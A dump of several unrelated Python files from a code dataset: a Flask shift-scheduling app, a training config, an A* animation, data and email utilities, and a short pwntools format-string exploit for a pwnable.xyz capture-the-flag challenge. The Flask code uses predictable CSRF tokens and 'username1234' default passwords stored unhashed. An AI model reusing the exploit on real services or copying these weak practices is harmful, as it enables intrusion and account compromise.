status.HTTP_404_NOT_FOUND - https://www.flaskapi.org/api-guide/status-codes/\n\n\n# CSRF TOKENS - http://flask.pocoo.org/snippets/3/\n\nrandom.seed(app.config['CSRF_RANDOM_SEED'])\n\nrandom_string = lambda length: ''.join(random.sample(string.printable, length))\n\n# https://stackoverflow.com/questions/19574694/flask-hit-decorator-before-before-request-signal-fires\n\ndef exclude_from_csrf(func):\n func._exclude_from_csrf = True\n return func\n\n@app.before_request\ndef csrf_protect():\n if request.method == \"POST\":\n token = session.pop('_csrf_token', None)\n print(token)\n print(request.get_json().keys())\n if not token or token != request.get_json()['_csrf_token']:\n print(request.get_json())\n abort(403)\n\ndef generate_csrf_token():\n if '_csrf_token' not in session:\n session['_csrf_token'] = random_string(app.config['CSRF_STRING_SIZE'])\n return session['_csrf_token']\n\napp.jinja_env.globals['csrf_token'] = generate_csrf_token \n\n\n\ndef new_employee_default_password(username):\n return username + '1234'\n\n# REQUESTS https://stackoverflow.com/questions/10434599/how-to-get-data-received-in-flask-request\n\ndef random_color():\n rgbl=[255,0,0]\n random.shuffle(rgbl)\n return tuple(rgbl)\n\n\nclass LoginView(View):\n\n methods = ['GET']\n #decorators = [superuser_required]\n\n def dispatch_request(self):\n return render_template('login.html')\n\nclass PrimaryView(View):\n\n methods = ['GET']\n #decorators = [superuser_required]\n\n def dispatch_request(self):\n return render_template('index.html' )\n\nclass PeriodChart(View):\n\n methods = ['GET']\n #decorators = [superuser_required]\n\n def dispatch_request(self):\n\n # https://stackoverflow.com/questions/37133774/how-can-i-select-only-one-column-using-sqlalchemy\n #https://stackoverflow.com/questions/7907596/json-dumps-vs-flask-jsonify\n\n # periods = db.session.query(models.Period)\\\n # .distinct(models.Period.id)\\\n # .options(load_only(\"id\"))\\\n # .scalar()\n\n periods = [x[0] for x in db.session.execute(\"SELECT DISTINCT(period.id) FROM period\")]\n \n # skills = db.session.query(models.Skill)\\\n # .distinct(models.Skill.id)\\\n # .options(load_only(\"id\"))\\\n # .scalar()\n\n skills = [x[0] for x in db.session.execute(\"SELECT DISTINCT(skill.id) FROM skill\")]\n\n datasets = []\n\n #colormap \n # https://stackoverflow.com/questions/28752727/map-values-to-colors-in-matplotlib\n\n min_c = min(skills)\n max_c = max(skills)\n\n norm_c = matplotlib.colors.Normalize(vmin=min_c,vmax=max_c, clip=True)\n mapper_c = cm.ScalarMappable(norm_c,cmap=cm.Blues_r)\n\n # itterateively build a dictionairy to be passed to json\n for s in skills:\n\n label = db.session.query(models.Skill.name).filter_by(id = int(s)).first()[0]\n backgroundColor = \"rgba\"+str(tuple([x[0] * x[1] for x in zip(mapper_c.to_rgba(s), [255,255,255,1])]))\n series = [x[0] for x in db.session.query(\n db.func.count(models.ScheduleRequirement.requirement))\\\n .filter_by(requirement = int(s))\\\n .group_by(models.ScheduleRequirement.period)\\\n .order_by(models.ScheduleRequirement.period)\\\n .all()]\n\n datasets.append({\n 'label': label,\n 'backgroundColor': backgroundColor,\n 'data': series\n })\n\n data = {\n 'labels': [x[0] for x in db.session.query(models.Period.id)\\\n .distinct(models.Period.id)\\\n .order_by(models.Period.id)\\\n .all()],\n 'datasets':datasets\n }\n\n\n\n return render_template('period_chart.html', dataset = data )\n\n\nclass AJAX_ShiftTable(View):\n\n methods = ['GET']\n #decorators = [superuser_required]\n\n @staticmethod\n def load_shifts_to_json():\n\n #Get Shifts\n shifts = [list(x) for x in db.session.execute(\n \"\"\"\n SELECT id, \n start_period, \n start_period + shift_length as end_period,\n shift_length\n FROM shift\n ORDER BY id\n \"\"\"\n )]\n\n\n return json.jsonify(data = shifts)\n \n\n def dispatch_request(self):\n\n return self.load_shifts_to_json()\n\n\n# https://scotch.io/tutorials/how-to-use-the-javascript-fetch-api-to-get-data\n\nclass AJAX_ShiftEdit(MethodView):\n\n #decorators = [superuser_required]\n\n # https://stackoverflow.com/questions/31987590/delete-row-using-datatable-plugin-then-delete-it-from-database \n\n @staticmethod\n def delete_shift(id):\n\n \n #Get Shifts\n try:\n db.Shfit.delete().where(db.Shfit.c.id == id)\n return True\n\n except:\n return False\n \n\n def post(self):\n \n data = request.get_json()\n print(data)\n\n if data['method'] == 'delete':\n #https://kite.com/python/docs/sqlalchemy.orm.query.Query.delete\n # https://stackoverflow.com/questions/39773560/sqlalchemy-how-do-you-delete-multiple-rows-without-querying\n #sql alchemy bulk deletion\n # https://docs.sqlalchemy.org/en/latest/orm/query.html\n\n\n try:\n db.session.query(models.Shift)\\\n .filter(models.Shift.id.in_(data['ids']))\\\n .delete(synchronize_session=False)\n\n db.session.query(models.ShiftPeriods)\\\n .filter(models.ShiftPeriods.shift.in_(data['ids']))\\\n .delete(synchronize_session=False)\n\n #when syncronise session=False requires session commit\n db.session.commit()\n\n return jsonify({'delete_status':True}) \n\n except:\n db.session.rollback()\n return jsonify({'delete_status':False})\n\n\n\n if data['method'] == 'edit':\n try:\n # Modify a single database entry\n\n #update the shift table element\n shift_update_candidate = db.session.query(models.Shift)\\\n .filter(models.Shift.id == data['id']).first()\n\n shift_update_candidate.start_period = int(data['start_period'])\n shift_update_candidate.shift_length = int(data['shift_length'])\n\n #update the shift periods within the shift period table\n db.session.query(models.ShiftPeriods)\\\n .filter(models.ShiftPeriods.shift == data['id'])\\\n .delete(synchronize_session=False)\n\n max_id = db.session.query(\n db.func.max(models.ShiftPeriods.id)\n ).first()[0]\n\n for period in range(int(data['shift_length'])):\n db.session.add(models.ShiftPeriods(\n id = int(max_id) + int(period) + 1,\n period = int(data['start_period']) + period,\n shift = int(data['id'])\n ))\n\n db.session.commit()\n \n return jsonify({'edit_status':True}) \n\n except:\n db.session.rollback()\n return jsonify({'edit_status':False})\n #update the \n\n\n\n #data = request.data\n #dataDict = json.loads(data)\n\n #print(dataDict)\n #print(request.values)\n\n\n \n\n if data['method'] == 'add':\n\n #try:\n #add a new shift to the database\n #get the last unique shift id\n max_shift_id = db.session.query(\n db.func.max(models.Shift.id)\n ).first()[0]\n\n if max_shift_id == None:\n #if the shift db is empty init the shift id\n max_shift_id = 0\n else:\n max_shift_id += 1\n\n db.session.add(models.Shift(\n id = max_shift_id,\n start_period = int(data['start_period']),\n shift_length = int(data['shift_length']),\n ))\n\n end_period = int(data['start_period']) +\\\n int(data['shift_length'])\n\n # add the shift periods in\n max_period_id = db.session.query(\n db.func.max(models.ShiftPeriods.id)\n ).first()[0]\n\n for period in range(int(data['shift_length'])):\n db.session.add(models.ShiftPeriods(\n id = int(max_period_id) + int(period) + 1,\n period = int(data['start_period']) + period,\n shift = max_shift_id\n ))\n\n db.session.commit()\n\n return jsonify({\n 'add_status':True,\n 'id': max_shift_id, \n 'start_period': int(data['start_period']),\n 'end_period':end_period,\n 'shift_length': int(data['shift_length'])\n }) \n\n #except:\n # return jsonify({'add_status':False}) \n\n return jsonify({'test' : 1, 'data' : 'dataset'})\n\n\nclass ShiftTable(View):\n\n methods = ['GET']\n\n def dispatch_request(self):\n return render_template('admin_shift.html')\n\n\n\nclass ShiftGantt(View):\n\n #Gantt Charts\n # https://ourcodeworld.com/articles/read/434/top-5-best-free-jquery-and-javascript-dynamic-gantt-charts-for-web-applications\n # https://frappe.io/gantt\n # https://dhtmlx.com/blog/d3-gantt-charts-vs-dhtmlx-gantt/\n\n @staticmethod\n def funcname(parameter_list):\n pass\n\n\n def dispatch_request(self):\n return render_template('gantt_example.html')\n\n\n\nclass AdminEmployee(MethodView):\n\n @staticmethod\n def add_new_employee(first_name, last_name, gender, dob, username, email,\n phone, em_contact, em_rel, em_phone, fin_tfn, ea, skills):\n\n # add employee and skill asignments\n max_employee_id = db.session.query(\n db.func.max(models.Employee.id)).first()[0]\n\n if max_employee_id == None:\n #if the shift db is empty init the shift id\n max_employee_id = 0\n else:\n max_employee_id += 1\n\n db.session.add(models.Employee(\n id = max_employee_id,\n username = username,\n email = email, \n password_hash = new_employee_default_password(username),\n agreement = ea\n ))\n\n #align employee skills\n max_skill_alignment_id = db.session.query(\n db.func.max(models.SkillAssignment.id)).first()[0]\n\n if max_skill_alignment_id == None:\n max_skill_alignment_id = 0\n else:\n max_skill_alignment_id += 1\n\n for skill in skills:\n db.session.add(models.SkillAssignment(\n id = max_skill_alignment_id,\n skill = skill,\n employee = max_employee_id\n ))\n max_skill_alignment_id += 1\n\n db.session.commit()\n\n #https://stackoverflow.com/questions/26079754/flask-how-to-return-a-success-status-code-for-ajax-call\n pass\n\n @staticmethod\n def del_employee(id):\n\n db.session.query(models.Employee)\\\n .filter(models.Employee.id.in_(id))\\\n .delete(synchronize_session=False)\n\n db.session.query(models.SkillAssignment)\\\n .filter(models.SkillAssignment.employee.in_(id))\\\n .delete(synchronize_session=False)\n\n db.session.commit()\n pass\n\n def edit_employee(id, **kwargs):\n\n emp = db.session.query(models.Employee)\\\n .filter(models.Employee.id == id).first()\n emp_skills = db.session.query(models.SkillAssignment)\\\n .filter(models.SkillAssignment.employee == id).all()\n\n # alter the employee specific information\n for kwarg in kwargs:\n if kwarg in ['username','email','password_hash','agreement']:\n setattr(emp, kwarg, kwargs[kwarg])\n\n # remove, check and add skill asignments where applicable\n if 'skill' in kwargs:\n skills_current = [] \n for emp_skill in emp_skills:\n if emp_skill.skill not in kwargs['skill']:\n emp_skill.delete(synchronize_session=False)\n else:\n skills_current.append(emp_skill.skill)\n \n\n max_skill_alignment_id = db.session.query(\n db.func.max(models.SkillAssignment.id)).first()[0]\n\n if max_skill_alignment_id == None:\n max_skill_alignment_id = 0\n else:\n max_skill_alignment_id += 1\n\n\n for sk in kwargs['skill']:\n if sk not in skills_current:\n # add those skills which were missing\n db.session.add(models.SkillAssignment(\n id = max_skill_alignment_id,\n skill = sk,\n employee = id\n ))\n max_skill_alignment_id += 1\n\n db.session.commit()\n \n\n pass\n\n\n\n\n def get(self):\n\n\n # get the skills to append to the form\n skills = db.session.query(models.Skill.id, models.Skill.name).all()\n ea = db.session.query(models.EnterpriseAgreement.id, \n models.EnterpriseAgreement.name).all()\n print(ea)\n\n return render_template('admin_employee.html' , skills = skills, \n enterprise_agreement = ea)\n\n def post(self):\n\n request_data = request.get_json()\n print(request_data['postMethod'])\n # test wtforms multidict mapping without html jinja injection\n\n # Data is correct\n\n if request_data['postMethod'] in ['add', 'edit']:\n\n first_name = request_data['addData'][\"first_name\"]\n last_name = request_data['addData'][\"last_name\"]\n gender = request_data['addData'][\"gender\"]\n dob = request_data['addData'][\"dob\"]\n username = request_data['addData'][\"username\"]\n email = request_data['addData'][\"email\"]\n phone = request_data['addData'][\"phone\"]\n em_contact = request_data['addData'][\"em_contact\"]\n em_rel = request_data['addData'][\"em_rel\"]\n em_phone = request_data['addData'][\"em_phone\"]\n fin_tfn = request_data['addData'][\"fin_tfn\"]\n ea = request_data['addData'][\"ea\"]\n skills = request_data['addData'][\"skills\"]\n\n if request_data['postMethod'] == 'add':\n\n # hook up form validator here \"nested_class_test\"\n add_validator = nested_class_test(request_data['addData'], \n {\n 'first_name':[\n valid.DataRequired('first_name - DataRequired'),\n valid.Length(1, 26, \"first_name - Length\")\n ],\n 'last_name':[\n valid.DataRequired('last_name - DataRequired'),\n valid.Length(1, 26, \"last_name - Length\")\n ],\n 'gender':[\n valid.InputRequired('gender - InputRequired'),\n valid.AnyOf(['Male',\"Female\"], 'gender - AnyOf')\n ],\n 'dob':[\n valid.DataRequired('dob - DataRequired'),\n ],\n })\n\n #validate errors - return errors\n if add_validator.validate() == False:\n\n print('validator Error')\n print(add_validator.errors)\n\n return json.dumps({'success':False, \\\n 'errors':add_validator.errors }), \\\n 400, {'ContentType':'application/json'} \n\n try:\n\n # add to database\n self.add_new_employee(first_name, last_name, gender, dob, username, \n email, phone, em_contact, em_rel, em_phone, fin_tfn, ea, skills)\n\n return json.dumps({'success':True}), 200, {'ContentType':'application/json'} \n\n except:\n\n return json.dumps({'success':False}), 403, {'ContentType':'application/json'} \n\n elif request_data['postMethod'] == 'delete':\n\n # try:\n self.del_employee(request_data['deleteData'])\n return json.dumps({'success':True}), 200, {'ContentType':'application/json'}\n\n # except:\n # return json.dumps({'success':False}), 403, {'ContentType':'application/json'} \n\n\n elif request_data['postMethod'] == 'edit':\n pass\n\n pass\n\n pass\n\n\nclass AJAX_AdminEmployeeTable(MethodView):\n\n def get(self):\n\n employees = [list(x) for x in db.session.execute(\n \"SELECT id, username, email, agreement FROM employee\"\n )]\n\n return json.dumps({'success':True, 'data':employees}), 200, {'ContentType':'application/json'} \n\n\n\nclass CSRFAjax(MethodView):\n\n decorators = [exclude_from_csrf]\n\n def get(self):\n\n if '_csrf_token' not in session:\n token = generate_csrf_token()\n\n return json.dumps({'success':True, 'token':token}), \\\n 200, {'ContentType':'application/json'} \n\n else:\n return json.dumps({'success':False}), \\\n 400, {'ContentType':'application/json'}\n\napp.add_url_rule('/index/', view_func=PrimaryView.as_view('index'))\napp.add_url_rule('/chart/', view_func=PeriodChart.as_view('period_chart'))\napp.add_url_rule('/gantt/', view_func=ShiftGantt.as_view('gantt_chart'))\napp.add_url_rule('/login/', view_func=LoginView.as_view('login'))\n\n# Tesst Views\napp.add_url_rule('/test_shiftTable/', view_func=AJAX_ShiftTable.as_view('shiftTable'))\napp.add_url_rule('/test_shift/', view_func=ShiftTable.as_view('shift'))\napp.add_url_rule('/test_shift_delete/', view_func=AJAX_ShiftEdit.as_view('shift_delete'))\n\n# Employee admin Views\napp.add_url_rule('/admin_employee/', view_func=AdminEmployee.as_view('adminEmployee'))\napp.add_url_rule('/admin_employee_table/', view_func=AJAX_AdminEmployeeTable.as_view('adminEmployeeTable'))\n\n\n# helper AJAX views\napp.add_url_rule('/csrf_ajax/', view_func=CSRFAjax.as_view('csrf_ajax'))\n\n# temp views \n\n\n#JSON view of each table schema\n# https://stackoverflow.com/questions/46741744/flask-python-pass-input-as-parameter-to-function-of-different-route-with-fixe\n@app.route('/json_table_schema/')\ndef create_Json_schema_views(word):\n return str(getattr(getattr(models, word),'jsonSchema'))","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":20939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"47139830","text":"# Model Params\nmodel = 'robnet_free'\nmodel_param = dict(C=36,\n num_classes=10,\n layers=20,\n steps=4,\n multiplier=4,\n stem_multiplier=3,\n share=False,\n AdPoolSize=1)\n\n# Dataset Params\ndataset = 'cifar10'\ndataset_param = dict(data_root='./data/cifar10',\n batch_size=48, # With a world_size of 32, the total batch_size is 1536 for training\n num_workers=2)\nreport_freq = 10\nseed = 10\nsave_path = './log'\n# resume_path = dict(path='./checkpoint/RobNet_free_cifar10.pth.tar', origin_ckpt=True)\n\n# Train Params\ntrain_param = dict(learning_rate=1.2,\n learning_rate_min=0.001,\n momentum=0.9,\n weight_decay=1e-4,\n epochs=150,\n no_wd=True,\n warm_up_param=dict(warm_up_base_lr=0.02, warm_up_epochs=20))\n\n# Attack Params\nattack_param = {'attack': True,\n 'epsilon': 8 / 255.,\n 'num_steps': 20,\n 'step_size': 2 / 255.,\n 'random_start': True}\n","sub_path":"network_search/robnet/experiments/RobNet_free_cifar10/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"288869684","text":"import matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nfrom matplotlib.animation import ImageMagickWriter\nfrom matplotlib.pyplot import figure\nfrom shapely.geometry import Point, Polygon, LineString\nfrom shapely.geometry.polygon import LinearRing\nimport numpy as np\nfrom PriorityQueue import PriorityQueue\nfrom Heuristic import *\nimport sys\n\nfilename = sys.argv[1]\nd = sys.argv[2]\n\ng_score = {}\nf_score = {}\nclose_set = set()\nopen_set = PriorityQueue()\ncame_from = {}\nfig = plt.figure()\nax1 = fig.add_subplot(1,1,1)\ncount = 0\ncheck = tuple()\n\ndef readFromFile(filename):\n fin = open(filename, \"r\")\n # Dòng 1: Kích thước [w,h] của bản đồ\n size = fin.readline().strip(\"\\n\").split(\",\")\n width = int(size[0])\n height = int(size[1])\n # Dòng 2: 2 cặp toạ độ (sX,sY),(gX,gY)\n point = fin.readline().strip(\"\\n\").split(\",\")\n start = (int(point[0]), int(point[1]))\n goal = (int(point[2]), int(point[3]))\n # Dòng 3: Số lượng chướng ngại vật (đa giác) n\n nObj = int(fin.readline())\n verticeslist = []\n # n dòng tiếp theo: Dòng thứ i: Chứa thông tin đa giác thứ i: Cứ 2 cặp số là tọa độ của một đỉnh.\n for i in range(nObj):\n tmp = fin.readline().strip(\"\\n\").split(\",\")\n for j in range(len(tmp)):\n tmp[j] = float(tmp[j])\n #tmp = list(map(float, tmp))\n verticeslist.append(tmp)\n fin.close()\n return width, height, start, goal, verticeslist\n\ndef makeObjects(verticeslist):\n objects = []\n for i in verticeslist:\n vertices = []\n for j in range(0, len(i) - 1, 2):\n vertices.append((i[j], i[j+1]))\n objects.append(Polygon(vertices))\n return objects\n\ndef moveObjects(objs, dist):\n objects = []\n coors = []\n for k in range(len(objs)):\n vertices = []\n x,y = objs[k].exterior.xy\n coors.append((x,y))\n for m in range(len(coors[k][0])):\n coors[k][0][m] += dist\n vertices.append((coors[k][0][m], coors[k][1][m]))\n objects.append(Polygon(vertices))\n return objects\n \ndef overlapTriggered(point, objects):\n for i in objects:\n linearring = LinearRing(list(i.exterior.coords))\n if (i.contains(point) or\n i.touches(point) or\n linearring.contains(point)):\n return True\n return False\n\ndef displayObjects(objs):\n coors = []\n for k in range(len(objs)):\n x,y = objs[k].exterior.xy\n coors.append((x,y))\n plt.plot(coors[k][0], coors[k][1])\n\ndef displayRobot(newx, newy):\n plt.scatter(newx, newy, marker = \"*\", color = \"pink\", lw = 5)\n plt.annotate(\"Robot\", (newx, newy - 1))\n\nfirstpathx = []\nfirstpathy = []\n\nrealpathx = []\nrealpathy = []\n\ndef displayPath(xs, ys):\n for i in range(len(firstpathx) - 1):\n plt.plot([firstpathx[i], firstpathx[i + 1]], [firstpathy[i], firstpathy[i + 1]], color = \"black\", linewidth = 1, linestyle = \"--\")\n plt.scatter(s[0], s[1], marker = \"o\", color = \"green\", lw = 5)\n plt.scatter(g[0], g[1], marker = \"o\", color = \"red\", lw = 5)\n for i in range(len(xs) - 1):\n plt.plot([xs[i], xs[i + 1]], [ys[i], ys[i + 1]], color = \"orange\", linewidth = 2, linestyle = \"-\")\n\ndef driving(w, h, g, xs, ys, objs):\n global check\n code = 0\n if xs == [] and ys == []:\n notfound(objs)\n plt.pause(2)\n return\n if check == g:\n plt.pause(1)\n return\n else:\n for i in range(len(xs)):\n plt.clf()\n plt.xlim(0, w)\n plt.ylim(0, h)\n dist = 0\n if (i % 2 == 0):\n dist = float(d)\n else:\n dist = -float(d)\n tobjs = moveObjects(objs, dist)\n txs = xs\n tys = ys\n if (i == len(xs) - 4):\n for j in range(i, len(xs)):\n plt.clf()\n plt.xlim(0, w)\n plt.ylim(0, h)\n\n displayObjects(tobjs)\n displayRobot(txs[j], tys[j])\n displayPath(txs, tys)\n plt.pause(0.1)\n for i in range(len(realpathx) - 1):\n plt.plot([realpathx[i], realpathx[i + 1]], [realpathy[i], realpathy[i + 1]], color = \"orange\", linewidth = 2, linestyle = \"-\")\n plt.scatter(g[0], g[1], marker = \"*\", color = \"blue\", lw = 5)\n plt.annotate(\"Initial Cost: \" + str(len(firstpathx)) +\"\\nReal Cost: \" + str(len(realpathx) + len(txs)), (float(w/2), float(h/2)), color = \"red\", fontsize = 20, horizontalalignment = \"center\")\n code = 1\n break\n displayObjects(tobjs)\n displayRobot(txs[i], tys[i])\n displayPath(txs, tys)\n check = (txs[i + 2], tys[i + 2])\n if (overlapTriggered(Point(txs[i + 4], tys[i + 4]), tobjs) or\n overlapTriggered(Point(txs[i + 3], tys[i + 3]), tobjs) or\n overlapTriggered(Point(txs[i + 2], tys[i + 2]), tobjs) or\n overlapTriggered(Point(txs[i + 1], tys[i + 1]), tobjs)):\n curr = (txs[i], tys[i])\n\n for j in range(0, i + 1):\n realpathx.append(txs[j])\n realpathy.append(tys[j])\n break\n plt.pause(0.1)\n if code == 1:\n return\n newxs, newys = recalculate(w, h, curr, g, tobjs)\n driving(w, h, g, newxs, newys, objs)\n\ndef trackingPath(curr, g, came_from):\n data = []\n tmp = tuple(g)\n while tmp in came_from:\n data.append(tmp)\n tmp = came_from[tmp]\n data.append(curr)\n data.reverse()\n #minStep = len(data)\n return data\n\ndef isValid(w, h, objs, neighbor):\n check = True\n for i in range(len(objs)):\n linearring = LinearRing(list(objs[i].exterior.coords))\n if (objs[i].contains(Point(neighbor[0], neighbor[1])) or\n objs[i].touches(Point(neighbor[0], neighbor[1])) or\n linearring.contains(Point(neighbor[0], neighbor[1])) or\n linearring.intersects(Point(neighbor[0], neighbor[1]))):\n check = False\n break\n return ((check and 0 < neighbor[0] < w) and (0 < neighbor[1] < h))\n\n#def isValid(w, h, objs, neighbor):\n# return ((0 <= neighbor[0] < w) and (0 <= neighbor[1] < h))\n\ndef astar(w, h, curr, g, objs):\n open_set.put(curr, 0)\n g_score[curr] = 0\n f_score[curr] = g_score[curr] + heuristic(curr, g)\n neighbors = [(-1, -1), (-1, 0), (-1, 1), (0, 1), (1, 1), (1, 0), (1, -1), (0, -1)]\n\n while not open_set.empty():\n _, tmp = open_set.get()\n #print(tmp)\n if tmp == g:\n return trackingPath(curr, g, came_from)\n close_set.add(tmp)\n for direction in neighbors:\n neighbor = (tmp[0] + direction[0], tmp[1] + direction[1])\n if not isValid(w, h, objs, neighbor):\n continue\n if neighbor in close_set and g_score[tmp] + 1 >= g_score[neighbor]:\n continue\n if neighbor not in g_score or g_score[tmp] + 1 < g_score[neighbor]:\n came_from[neighbor] = tmp\n g_score[neighbor] = g_score[tmp] + 1\n f_score[neighbor] = g_score[neighbor] + heuristic(neighbor, g)\n open_set.put(neighbor, f_score[neighbor])\n return []\n\ndef recalculate(w, h, curr, g, objs):\n g_score.clear()\n f_score.clear()\n close_set.clear()\n open_set.clear()\n came_from.clear()\n\n xs = []\n ys = []\n minPath = astar(w, h, curr, g, objs) \n if minPath == []:\n return [], []\n for k in range(len(minPath)):\n xs.append(minPath[k][0])\n ys.append(minPath[k][1])\n return xs, ys\n\ndef notfound(objs):\n #plt.clf()\n plt.annotate(\"PATH NOT FOUND\\nOR ROBOT STUCKED IN ONE OF THE OBJECTS!\", (float(w/2), float(h/2)), color = \"red\", fontsize = 10, horizontalalignment = \"center\")\n plt.xlim(0, w)\n plt.ylim(0, h - 1)\n plt.scatter(s[0], s[1], marker = \"o\", color = \"green\", lw = 5)\n plt.scatter(g[0], g[1], marker = \"o\", color = \"red\", lw = 5)\n displayObjects(objs)\n plt.show()\n return\n\nw, h, s, g, vl = readFromFile(filename)\n\ndef main():\n objs = makeObjects(vl)\n curr = s\n xs = []\n ys = []\n xs, ys = recalculate(w, h, curr, g, objs)\n if xs == [] and ys == []:\n notfound(objs)\n else:\n global firstpathx\n global firstpathy\n firstpathx = xs\n firstpathy = ys\n anim = FuncAnimation(fig, driving(w, h, g, xs, ys, objs), frames = 60, interval=20, repeat = False, blit = True)\n #anim.save(\"AStar_Moving_Obstacles.html\", writer = \"ImageMagickWriter\", dpi = 96)\n plt.show()\n plt.close()\n return\n\nif __name__ == \"__main__\":\n main()","sub_path":"source/moving_obstacles.py","file_name":"moving_obstacles.py","file_ext":"py","file_size_in_byte":8810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"232651922","text":"import re\nimport random\nfrom hhutil.io import fmt_path, eglob, copy\n\nsample_ratio = 0.01\nmin_sample_class = 2\nsrc = fmt_path(f\"~/Downloads/datasets/Cityscapes\")\ntgt = fmt_path(f\"~/Downloads/datasets/Cityscapes_sub\")\nsrc_image, src_label = src / \"leftImg8bit_trainvaltest\", src / \"gtFine_trainvaltest\"\ntgt_image, tgt_label = tgt / \"leftImg8bit_trainvaltest\", tgt / \"gtFine_trainvaltest\"\n\ntgt_image.mkdir(parents=True, exist_ok=True)\ntgt_label.mkdir(parents=True, exist_ok=True)\nfor f in [\"license.txt\", \"README\"]:\n copy(src_image / f, tgt_image)\n copy(src_label / f, tgt_label)\n\nfor split in [\"train\", \"val\", \"test\"]:\n src_image_split, src_label_split = src_image / \"leftImg8bit\" / split, src_label / \"gtFine\" / split\n tgt_image_split, tgt_label_split = tgt_image / \"leftImg8bit\" / split, tgt_label / \"gtFine\" / split\n for class_d in eglob(src_image_split, \"*\"):\n class_name = class_d.stem\n print(split, class_name)\n src_image_split_class, src_label_split_class = src_image_split / class_name, src_label_split / class_name\n tgt_image_split_class, tgt_label_split_class = tgt_image_split / class_name, tgt_label_split / class_name\n tgt_image_split_class.mkdir(parents=True, exist_ok=True)\n tgt_label_split_class.mkdir(parents=True, exist_ok=True)\n image_ids = [\n re.match(\"([a-z]+_[0-9]{6}_[0-9]{6})_leftImg8bit\", image_f.stem).group(1)\n for image_f in eglob(src_image_split_class, \"*.png\")\n ]\n n = len(image_ids)\n assert sum(1 for x in eglob(src_label_split_class, \"*.png\")) == 3 * n\n assert sum(1 for x in eglob(src_label_split_class, \"*.json\")) == n\n sampled_ids = random.sample(image_ids, max(int(n * sample_ratio), min_sample_class))\n for id in sampled_ids:\n copy(src_image_split_class / f\"{id}_leftImg8bit.png\", tgt_image_split_class)\n copy(src_label_split_class / f\"{id}_gtFine_color.png\", tgt_label_split_class)\n copy(src_label_split_class / f\"{id}_gtFine_instanceIds.png\", tgt_label_split_class)\n copy(src_label_split_class / f\"{id}_gtFine_labelIds.png\", tgt_label_split_class)\n copy(src_label_split_class / f\"{id}_gtFine_polygons.json\", tgt_label_split_class)\n","sub_path":"tools/segmentation/subsample_voc.py","file_name":"subsample_voc.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"248759572","text":"# email utilities\nimport smtplib, configs\n\ndef send_email(target, subject, content):\n\tmail = smtplib.SMTP(\"smtp.gmail.com\", 587)\n\tmail.ehlo()\n\tmail.starttls()\n\n\tgmail_acc = configs.gmail_account\n\tgmail_pw = configs.gmail_pw\n\tmail.login(gmail_acc, gmail_pw)\n\n\tmsg_content = \"Subject:{}\\n\\n{}\".format(subject, content)\n\tmail.sendmail(gmail_acc, target, msg_content)\n\tmail.close()\n\ndef email_myself(subject, content):\n\trecipient = configs.gmail_account\n\tsend_email(recipient, subject, content)\n","sub_path":"email_utils.py","file_name":"email_utils.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"119235149","text":"from pwn import *\n\nflag=0x601080\nr=remote(\"svc.pwnable.xyz\",30004)\n#r=process(\"./GrownUpRedist\")\n#e=ELF(\"./GrownUpRedist\")\nr.sendafter(\"]:\",'y'*8+p64(flag))\npayload=\"A\"*32\npayload+=\"%p %p %p %p %p %p %p %p %s\"\npayload+='A'*(128-len(payload))\nr.sendafter(\"Name:\",payload)\nr.interactive()","sub_path":"ex_GrownUpRedist.py","file_name":"ex_GrownUpRedist.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"}